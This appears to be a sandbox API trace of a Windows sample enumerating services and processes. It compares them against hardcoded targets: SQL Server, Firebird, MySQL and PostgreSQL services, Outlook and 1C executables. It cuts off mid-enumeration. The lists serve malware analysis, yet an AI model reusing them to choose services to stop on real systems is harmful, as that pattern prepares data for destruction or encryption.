[0055.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0055.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0055.065] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0055.065] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0055.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0055.065] lstrlenW (lpString="gpsvc") returned 5 [0055.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0055.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0055.065] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0055.065] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0055.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0055.065] lstrlenW (lpString="iphlpsvc") returned 8 [0055.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.065] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0055.065] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0055.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0055.065] lstrlenW (lpString="LanmanServer") returned 12 [0055.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0055.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0055.065] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0055.066] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0055.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0055.066] lstrlenW (lpString="LanmanWorkstation") returned 17 [0055.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.066] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0055.066] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0055.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0055.066] lstrlenW (lpString="lmhosts") returned 7 [0055.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0055.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0055.066] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0055.066] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0055.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0055.066] lstrlenW (lpString="MMCSS") returned 5 [0055.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0055.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0055.066] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0055.066] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0055.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0055.066] lstrlenW (lpString="MpsSvc") returned 6 [0055.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0055.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0055.066] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0055.066] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0055.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0055.066] lstrlenW (lpString="Netman") returned 6 [0055.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0055.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0055.066] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0055.067] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0055.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0055.067] lstrlenW (lpString="netprofm") returned 8 [0055.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0055.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0055.067] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0055.067] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0055.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0055.067] lstrlenW (lpString="NlaSvc") returned 6 [0055.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0055.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0055.067] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0055.067] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0055.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0055.067] lstrlenW (lpString="nsi") returned 3 [0055.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0055.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0055.068] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0055.068] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0055.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0055.068] lstrlenW (lpString="PcaSvc") returned 6 [0055.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0055.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0055.068] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0055.068] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0055.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0055.068] lstrlenW (lpString="PlugPlay") returned 8 [0055.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0055.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0055.068] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0055.068] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0055.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0055.068] lstrlenW (lpString="Power") returned 5 [0055.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0055.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0055.068] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0055.068] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0055.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0055.068] lstrlenW (lpString="ProfSvc") returned 7 [0055.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0055.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0055.068] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0055.068] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0055.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0055.068] lstrlenW (lpString="RpcEptMapper") returned 12 [0055.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.069] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0055.069] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0055.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0055.069] lstrlenW (lpString="RpcSs") returned 5 [0055.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0055.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0055.069] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0055.069] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0055.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0055.069] lstrlenW (lpString="SamSs") returned 5 [0055.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0055.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0055.069] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0055.069] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0055.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0055.069] lstrlenW (lpString="Schedule") returned 8 [0055.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0055.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0055.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0055.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0055.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0055.069] lstrlenW (lpString="SENS") returned 4 [0055.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0055.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0055.069] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0055.069] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0055.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0055.069] lstrlenW (lpString="ShellHWDetection") returned 16 [0055.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.070] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0055.070] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0055.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0055.070] lstrlenW (lpString="Spooler") returned 7 [0055.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0055.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0055.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0055.070] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0055.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0055.070] lstrlenW (lpString="swprv") returned 5 [0055.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0055.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0055.070] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0055.070] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0055.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0055.070] lstrlenW (lpString="SysMain") returned 7 [0055.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0055.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0055.070] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0055.070] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0055.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0055.070] lstrlenW (lpString="Themes") returned 6 [0055.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0055.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0055.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0055.070] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0055.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0055.070] lstrlenW (lpString="TrkWks") returned 6 [0055.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0055.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0055.071] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0055.071] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0055.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0055.071] lstrlenW (lpString="UxSms") returned 5 [0055.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0055.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0055.071] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0055.071] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0055.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0055.071] lstrlenW (lpString="VSS") returned 3 [0055.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0055.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0055.071] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0055.071] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0055.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0055.071] lstrlenW (lpString="WdiServiceHost") returned 14 [0055.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.071] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0055.071] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0055.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0055.071] lstrlenW (lpString="WdiSystemHost") returned 13 [0055.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.071] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0055.071] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0055.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0055.072] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0055.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.072] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0055.072] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0055.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0055.072] lstrlenW (lpString="Winmgmt") returned 7 [0055.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0055.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0055.072] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0055.072] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0055.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0055.072] lstrlenW (lpString="WPDBusEnum") returned 10 [0055.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.072] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0055.072] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0055.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0055.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0055.072] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x238 [0055.075] Process32FirstW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.076] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0055.076] lstrlenW (lpString="System") returned 6 [0055.076] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0055.076] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0055.076] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0055.076] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0055.076] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0055.076] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0055.076] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0055.076] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0055.077] lstrlenW (lpString="smss.exe") returned 8 [0055.077] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0055.077] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0055.077] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0055.077] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0055.077] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0055.077] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0055.077] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0055.077] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.078] lstrlenW (lpString="csrss.exe") returned 9 [0055.078] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0055.078] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0055.078] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0055.078] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0055.078] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0055.078] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0055.078] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0055.078] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0055.079] lstrlenW (lpString="wininit.exe") returned 11 [0055.079] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0055.079] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0055.079] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0055.079] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.079] lstrlenW (lpString="csrss.exe") returned 9 [0055.080] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0055.080] lstrlenW (lpString="winlogon.exe") returned 12 [0055.080] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0055.081] lstrlenW (lpString="services.exe") returned 12 [0055.081] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0055.081] lstrlenW (lpString="lsass.exe") returned 9 [0055.082] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0055.082] lstrlenW (lpString="lsm.exe") returned 7 [0055.082] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.083] lstrlenW (lpString="svchost.exe") returned 11 [0055.083] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.084] lstrlenW (lpString="svchost.exe") returned 11 [0055.084] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.084] lstrlenW (lpString="svchost.exe") returned 11 [0055.084] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.085] lstrlenW (lpString="svchost.exe") returned 11 [0055.085] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.086] lstrlenW (lpString="svchost.exe") returned 11 [0055.086] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0055.086] lstrlenW (lpString="audiodg.exe") returned 11 [0055.086] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.087] lstrlenW (lpString="svchost.exe") returned 11 [0055.087] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.088] lstrlenW (lpString="svchost.exe") returned 11 [0055.088] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0055.088] lstrlenW (lpString="dwm.exe") returned 7 [0055.088] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.089] lstrlenW (lpString="explorer.exe") returned 12 [0055.089] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0055.090] lstrlenW (lpString="spoolsv.exe") returned 11 [0055.090] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.090] lstrlenW (lpString="taskhost.exe") returned 12 [0055.090] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.091] lstrlenW (lpString="svchost.exe") returned 11 [0055.091] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, 